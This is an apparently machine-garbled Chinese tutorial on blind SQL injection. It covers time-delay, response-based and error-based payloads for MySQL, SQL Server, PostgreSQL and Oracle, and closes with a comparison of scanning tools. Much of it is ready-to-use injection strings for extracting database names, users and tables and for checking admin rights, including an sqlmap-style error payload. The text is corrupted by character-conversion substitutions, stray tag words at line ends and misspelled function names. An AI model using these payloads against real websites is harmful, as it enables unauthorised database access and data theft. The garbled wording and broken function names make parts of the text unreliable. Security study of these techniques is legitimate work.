sql注入中的盲注的几种类型 php
1.基于时间延时注入 java
基于时间的手工盲注通常都是经过二分法或逐位法肯定范围获取目标值。大大缩小了请求数。 mysql
经过控制,获取响应时间来判断目标值的正确性。使用大量状况,在纯盲状况下成功率较高,缺点就是时间太长。 web
1.1针对mysql 算法
对mysql进行盲注的时候尽可能使用#做为注释符号,使用--会引发不少缺乏'错误使得数据库没法正常执行攻击语句 sql
利用IF语句判断可能的值,若是值知足条件,则使用函数使sql语句在数据库长时间执行从而经过响应时间判断值得方式。该注入方式为推断形盲注 数据库
IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl; 编程
分析语句: 数组
如下函数在一次盲注中都不会变化,承担逻辑处理功能: sass
length(列)判断其字符长度
SUBSTING(待提取字符,开始字符,提取字符长度)开始字符不断增长
CHAR(101)字符型数据,不断变化测试值
benchmark(执行次数,被测试函数)该函数是mysql独有的测试函数执行之间函数
encode(被加密字符,加密秘钥)
decode(被解密字符,解密秘钥)
须要经过select length(database())函数肯定目标值长度。
如下函数须要变化以应对不一样的目标值:
当前链接数据库
database();
全部数据库
INFORMATION_SCHEMA.SCHEMATA
已知数据库查该数据库下表名
select * from tables where table_schema='mytest';
获取系统用户
SELECT SYSTEM_USER()
获取当前用户
SELECT CURRENT_USER()
limit 1,1查询结果第一条,总共显示一条
枚举命令总结
1.全部数据库
select schema_name FROM information_schema.schemata;
1.2针对sqlserver
查看当前数据库
sqlsever则不须要像mysql同样使用union执行select 能够直接if判断目标值
select * from userinfo if(SUBSTRING(DB_NAME(),1,1)=CHAR(116)) waitfor delay '0:0:5'
二分法: IF ASCII(SUBSTRING(SYSTEM_USER,1,1))>30 WAITFOR DELAY '0:0:5'
使用分析:
DB_NAME()当前数据库:
select name from sysobjects 获取当前全部表,能够经过字段进行筛选,
获取准备行数据:
select * from (select row_number() over (order by name ) as row_num,name from sysobjects)t
where row_num between 48 and 48 获取第48行数据
name表示表名字段
row_number() over (order by 字段名)给予表序号获得一张新表做为子查询
再经过between and关键字筛选出须要的表名。
sysobjects存放了sqlsever全部数据库的表和其相关信息,有如下字段能够做为where子句选项
uid: 建立用户id sa管理用uid为1
xtype:能够区分是不是用户创建立表 用户建立:u 系统建立:S SQ IT
查看当前链接数据库下的某表某列
select name from sys.columns where object_id=(select id from sysobjects where name='userinfo') AND culumn=1
查看userinfo的列名,culumn控制第几列,能够根据count(*)函数知道有多少列;
sqlsever表,数据库,系统结构信息:
根据以上语法技巧,只要知道了目标数据所存放的系统表名就能够枚举全部须要的系统数据,由于sqlserver的全部更新数据都可在系统表或者系统视图中找到
master..sysdatabases()存放了该链接下全部的数据库,必定要指定数据库名
DB_NAME()是当前数据库
sysobjects()当前链接下对象列表,包括表,视图。
sys.columns()存放当前数据库下全部列明
在查询的时候必定要指定数据库。
新思路:逻辑与左边结果为0,右边则不执行,能够在左边断定目标值查询,右边用长时间子查询。来进行判断目标值。对应工具为marathontool.
1.3针对postgreSQL
pg_sleep()函数:
该数据库主要延时函数pg_sleep()为系统默认安装函数。可是该函数返回值为void意味着不能再where中使用。
若是在数据库链接中拥有建立函数权限可重写pg_sleep()函数:
CREATE OR REPLACE FUNCTION pause(integer) RETURNS intege as $$ DECLARE wait alias for $1;BEGIN PERFORM pg_sleep(wait); RETURN 1; END; $$LANGUAGE 'plpgsql' STRICT;
有返回值后则能够在where或者拆分平衡时使用。使用CASE 表达式 WHEN 条件 THEN 执行语句 ELSE 执行语句。其二分法与mysql相似。
二分法:SELECT CASE WHEN (ASCII(SUBSTR('',i,1))>K) THEN pg_sleep(1)|PAUSE(1) END;SELECT NULL,NULL,NULL;--
当使用pg_sleep(5)时须要加上三个哑查询。
判断是否为超级用户: id=1+(SELECT CASE (SELECT username FROM pg_user WHERE usesuper IS TRUE and current_user=username) WHEN (user) THEN PAUSE(5) ELSE 1 END)
1.4针对oracle
存在时间注入函数DBMS_LOCK.SLEEP(N) ,可是属于plsql代码,不是sql中的函数。并且oacle不支持堆叠查询。普通用户无权限使用DBMS包。最好的状况是当前用户是管理员且注入点事pl/sql块。
IF (BITAND(ASCII(SUBSTR(XXX,1,1)),2)=2) THEN DBMS_LOCK.SLEEP(5); END IF;
BITEND函数将两个参数转2进制按位与 经过以上代码在在代码注入。
对oacle进行url型的sql注入使用以下代码,要求是管理员权限。
count_reviews.aspx?review_author=MadBob' OR 1= CASE WHEN SYS_CONTEXT('USERENV','ISDBA')='TRUE' THEN DBMS_PIPE.RECEIVE_MESSAGE('foo',5) ELSE 1 END -
DBMS_PIPE.RECEIVE_MESSAGE('foo',5) 暂停5秒函数,能够嵌入带sql语句中
时间注入函数总结
PostgreSQL: |
select pg_sleep(n) pause(n) |
1. 没法再sql中使用 2. 自定义函数 |
Oracle PL/SQL : |
BEGIN DBMS_LOCK.SLEEP(5); END; 或者 or 1=dbms_pipe.reveive_message(‘RDS’,10) |
1. 没法在sql中使用 2. 管理员权限 |
Mysql: |
sleep(n) BENCHMARK(100000,ENCODE(‘HELLO’,’MON’)); |
1. 全部用户 2. 全部用户 |
Microsoft SQL server: |
:xxx.jsp?uid=22;waitfor delay ‘0:0:5’ |
1.条件判断以后 |
利用盲注判断注入点:
1. 产生通用错误,如加冒号,括号,破坏原有的sql语句。判断是否只有引号状况下才产生通用错误页面。能够判断程序是否有sql注入过滤。若产生了通用错误页面表明程序不认识单引号也就是没有对敏感字符的过滤,那么注入的成功率会较大。
1. 注入带反作用的sql,常规的有时间延时函数,以下各种数据库延时函数,能够判断当前用户是否有权限执行时间函数,判断数据库版本,判断sql语句是否被执行
2. 若通用错误注入与反作用注入不起做用的状况下,可使用拆分与平衡。拆分正常的参数,平衡不和谐的结尾单引号。将正常的参数在知足sql语法的状况下,与原来的参数不一样。oalce使用||链接字符串,SQLserver使用加号链接字符串,更高级的拆分便是使用BNF语法。
mysql字符链接用空格
以上包含了大部分经常使用数据的表达式拆分法,包括注入字符串,类型表达式,字符串表达式,数字表达式,数据表达式
盲注利用:
1.推断型注入:一些简单的问题,好比咱们是不是做为管理员链接?链接的数据库是不是sqlserver2005?相似的语句转化为sql,在注入的时候须要常常变换永真条件来绕过固定字符过滤,也不能总用一字符进行请求,须要常常变换,还须要考虑网络延时形成误判数据的发生。
增长推断攻击技术复杂性:boolean或者时间注入,经常使用二分法进行数字比对大大缩小断定时间,在全部数据库中都提供了ASCII()将字符转为int值得方法。二分查找的问题是没法在获取第一个请求以前发送第二个请求。对于MD5加密后的数据仅仅16个字符遍历
逐位推断漏洞:经过字符转ASCII码后与2^0,2^1,2^2………2^7依次异或,若异或后的值小于原来的值,表明原码对应2^j的j位的值为1,若分别2^3,2^5值变小,其余值都比原值大,则原码2^3+2^5为00101000对应为(,左括号字符。这样的作法对应包含成百上千行的数据可评估表的大小.而且通常英文字符判断8次就能出结果。逐位的方法能够缩短请求数量,可是会增长判断时间。由于每一个字符八次判断中平均有4次须要延时。若是目标值有6个字符则须要48个请求,平均24个请求会被延时。若每一个延时2秒,不延时为0.1秒则共须要50.4秒才能判断出目标数据。若是采用原始方式每一个字符判断36次共6个字符。216个请求,可是若是延时为两秒,不延时为0.1秒,则12+204*0.1=32.4秒。从时间上来分析该算法时间会很长。但从请求量来分析,该算法的请求数为原请求数的1/4.5;
按位异或 小于 则是目标值
按位与 等于 则是目标值
2.基于响应技术
基于响应技术的实用性和优势:
1. 相对时间注入受外在不可控因素影响较小,对网络传输,服务器负载,网络状况等影响较小。
2. 不须要长时间的等待,及时能断定结果。
3. 在注入是必须是数据库或者程序的执行错误,而不是语法的错误,才能判断目标。
4. 可是该注入只使用于返回的响应能被攻击者修改的注入点。若是不能则须要复杂的语句创造错误页面。
5. 产生执行错误的思路:
1. 除数为0产生执行错误
2. ASP.NET默认出错页面,捕获底层错误。在正常参数中加'&aspxerrorpath=/foo 或‘
针对MYSQL响应:
1.SELECT COUNT(*) FROM XXX WHERE XXX=''
2.SELECT COUNT(*) FROM XXX WHERE XXX='' AND ASCII (SUBSTRING(USER(),1,1))&2^j=2^j #
第1条语句是程序正常执行语句,查询知足条件的条数。
第2条语句是基于响应的注入,在断定条件不成立的状况下则会出现错误页面,在成立的状况下则产生正确页面。
利用逐位,拆分与平衡的方法实现内联注入。利用响应结果获得真假页面
SELECT COUNT(*) FROM XX WHERE id=1+IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,1,0)
注意:mysql没有用于字符串链接的运算符,仅有concat()函数链接。
在没法控制响应结果的时候就创造响应结果,红色标记的sql语句则是一个子查询返回多行的执行错误。当按位比较成功时则返回错误页面,当失败时就返回1回到正常页面,
SELECT COUNT(*) FROM userinfo WHERE username=IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,(SELECT table_name FROM information_schema.columns WHERE table_name=(SELECT table_name FROM information_schema.columns)),1);
不经过拆分与平衡进行注入,经过逐位算法注入and配合逻辑表达式进行注入。
tomcat' AND IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))&4,1,0); #
根据返回数据肯定值是否正确,依赖手工注入,或者经过编程对应网站实现。
针对PostgreSQL响应技术:
1. 经过and ASCII(SUBSTR(XXX,I,1))&2=2;返回结果不一样则能判断目标值。
2. 利用拆分与平衡时注意PostgreSQL的字符串链接符是 ||
3. 使用 CASE WHEN EXPER1 THEN 1/0 END进行拆分
4. php中display_errors=on,会使数据库错误信息返回到页面
针对sqlserver响应技术:
1. 猜想当前建立链接的用户是否为sa,AND SYSTEM_USER='sa' 经过返回结果判断
2. sqlserver中使用+来进行字符串的拼接
3. sqlserver中能很好的运用拆分与平衡来基于响应推断。
4. IIS6,7上的APS.NET站点若没有在web.config下<customError>标签中指定错误页面,则会返回默认的错误页面。捕获底层信息
针对ORACLE响应技术:
1.ORACLE中语法有些不一样,这是直接猜想DBA。
SELECT * FROM reviews WHERE review_autho='XXX' SYS_CONTEXT('USERENV','ISDDBA')='TRUE';
2.这是oracle的逐位函数BITAND(),将两个数字按位与
SELECT * FROM reviews WHERE review_author='XXX' AND BITAND(ASCII(SUBSTR(XX,1,1)),2)=2
3.ORACLE中字符拼接用||符号,使用除数为0来构造错误。ELSE后的空单引号不产生错误。在用除法构造错误的时候必定要用CAST()封装,不然编译没法经过。
MadBob' || (SELECT CASE WHEN BITAND(ASCII(SUBSTR(XX,1,1))2)=2 THEN CAST(1/0 AS CHAR) ELSE '' END FROM DUAL)||';
多位返回技术:
对逐位方法的改进,利用CASE WHEN 语句 多分支判断位。
SELECT * FROM reviews WHERE review_author=''+(SELECT
CASE
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=0 //此时待判断位为00
'result1'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=2 //此时待判断位为01
'result2'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=4 //此时待判断位为10
'result3'
ELSE //此时待判断位为11
'result4'
END)
黄色的替换值:3,12,48,192
红色的替换值:3[0,1,2], 12[0,4,8], 48[0,16,32] 192[0,64,128]
绿色的替换值:1----len(目标)
如下是十分正确的语句:
SELECT * FROM userinfo WHERE username=''+(SELECT CASE ASCII(SUBSTRING('`,1,1))&6 WHEN 0 THEN '11' WHEN 2 THEN '22' WHEN 4 THEN '33' ELSE '44' END)
针对新闻页面,多响应页面的注入点能够用多位返回技术。。
3.基于错误盲注
1.针对mysql
1.因为自增字段达到上限,报错状况。左边冒号中的字符就是咱们须要的状况,基于错误的注入目的就是将咱们须要的目标值,想尽办法让之在报错中显示。
Duplicate entry 'qzkqqtime_zone_transition_typeqbxvq1' for key 'group_key'
如下为sqlmap原脚本,添加了许多混淆数据库日志字符。
SELECT * FROM userinfo WHERE username='illidan' AND (SELECT 6120 FROM(SELECT COUNT(*),CONCAT(0x717a6b7171,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),0x7162787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- zgvK'
精简版(手工注入选择此项):
illidan' AND (SELECT 6120 FROM (SELECT COUNT(*), CONCAT((SELECT CAST(table_name AS CHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),FLOOR(RAND(0)*2) )x FROM mytest.userinfo GROUP BY x )a);-- WW
illidan为参数,用'闭合掉以前的',经过and一个子查询完成注入
继续简化
select count(*),CONCAT((select database()),floor(rand(0)*2))x from userinfo group by x;
核心语句:select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;
语句解析:
1. information_schema.character_sets该表示全部mysql数据库一经建立便会生成的系统表,由于其中存放了该数据库支持的各类编码。
2. 在该查询中count(*)是统计该分组下的数量
3. 分组依据是经过一个floor(rand(0)*2)实现,rand(0)能够生成一个固定的小数序列,在乘2向下取整后会变成一堆有序的01数组,再对每组统计长度,经过此方式分组统计会引发数据库自增序列达到上限从而报错,而且报错信息会显示group by关键字。经过链接目标值与rand序列便可得到须要的值。
SQLserver错误注入
SELECT * FROM userinfo WHERE username='22' AND 7974=CONVERT(INT,(SELECT (SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024)))) AND 'XbPE'='XbPE'
在sqlserver中直接针对目标数据进行不可能的类型转换。在转换失败的时候就会在报错信息中显示目标值。
CONVERT就是一个类型转换函数。
自动寻找sql注入工具比较
1. 识别数据输入
2. 注入数据
3. 检测响应中的异常
根据数据库返回的错误响应,SQL错误,500错误
1.HP WebInspect
商业工具,功能不只仅是发现SQL注入漏洞,更主要的是完整评估Web站点的安全性。包括XSS,远程本地文件包含,SQL注入,OS命
令注入。
其验证sql注入的方式经过常规AND OR 等验证
2.IBM Rational AppScan
也是评估web站点安全性的商业工具。
测试方法相对HP WebInspect丰富
拆分与平衡,利用逻辑子句,堆叠查询,基于错误响应
'having 1=1-- 包含group by子句的
WF'SQL ''Probe;A-B
3.HP Scrawlr
1.免费,相似爬虫功能,分析每一个web页面参数寻找sql注入点。
2.工具从根目录搜索web连接,不适用于独立页面或文件夹的站点
3.缺点是该工具只能测试get参数,post表单的sql注入点将不能被检测出。
4.上限是1500各URL
5.不查盲注,无身份代理,无脚本解析。只发三个字符,'OR 'AND 5=5 OR 'S'=0 number-0
4.SQLIX
1.免费,能查盲注和正常注入点。
2.不解析表单,自动post请求
3.可测试单个URL和一个文件类的全部URL。与HP Scrawlr配合使用。
测试key有:
字符转换错误,拆分与平衡,逻辑子句,16进制绕过滤,
功能强与HP Scrawlr,范围小于HP Scrawlr
5.Paros Proxy/Zed Attack Proxy
1.包含内部爬虫
2.手段包含:
休眠函数,常规逻辑判断。针对sqlserver
java编写,JRE1.4以上,免费
2016/8/22